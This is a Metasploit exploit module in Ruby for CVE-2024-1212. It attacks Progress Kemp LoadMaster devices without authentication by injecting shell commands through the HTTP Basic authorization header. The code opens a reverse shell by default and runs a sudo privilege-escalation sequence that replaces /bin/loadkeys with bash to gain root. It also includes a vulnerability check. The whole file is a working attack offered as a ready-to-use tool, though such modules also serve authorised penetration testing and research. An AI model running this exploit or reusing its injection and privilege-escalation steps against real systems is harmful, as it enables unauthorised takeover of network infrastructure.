##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in
          Progress Kemp LoadMaster in the authroization header.
        },
        'Author' => [
          'Dave Yesland with Rhino Security Labs',
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-1212'],
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
          ['URL', 'https://kemptechnologies.com/kemp-load-balancers']
        ],
        'DisclosureDate' => '2024-03-19',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [['Automatic', {}]],
        'Privileged' => false,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp',
          'SSL' => true,
          'RPORT' => 443
        },
        'Payload' => {
          'BadChars' => "\x3a\x27"
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']),
      OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true])
    ])

    @first_session_timestamp = nil
  end

  def exploit
    uri = normalize_uri(target_uri.path, 'access', 'set')

    print_status('Sending payload...')

    send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' =>
        {
          'param' => 'enableapi',
          'value' => '1'
        },
      'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'),
      'verify' => false
    })
  end

  def on_new_session(session)
    # Kill the session if it was initiated too close to the first session
    # This command injection tends to execute twice, so we want to kill
    # the second session. Probably a better way to do this but I don't know it.
    super
    current_time = Time.now.to_i
    if @first_session_timestamp.nil?
      @first_session_timestamp = current_time
    elsif current_time - @first_session_timestamp < 5
      print_error('Detected a session initiated too close to the first session. Terminating it.')
      session.kill
    end

    # Run privesc commands if PRIVESC is set to true
    if datastore['PRIVESC']
      execute_privesc_command(session)
    else
      print_status('Privilege escalation skipped.')
    end
  end

  def execute_privesc_command(session)
    print_status('Executing privilege escalation command...')
    session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys')
    session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys')
    session.shell_command('sudo /bin/loadkeys -c /bin/bash')
    session.shell_command('cp /tmp/loadkeys /bin/loadkeys')
  end

  def check
    print_status("Checking if #{peer} is vulnerable...")

    uri = normalize_uri(target_uri.path, 'access', 'set')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => uri,
      'vars_get' => {
        'param' => 'enableapi',
        'value' => '1'
      },
      'authorization' => basic_auth("'", 'anything'),
      'verify' => false
    })

    # No response from server
    unless res
      return CheckCode::Unknown
    end

    # Check for specific error pattern in headers or body to confirm vulnerability
    if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')
      return CheckCode::Vulnerable
    else
      return CheckCode::Safe
    end
  end

end
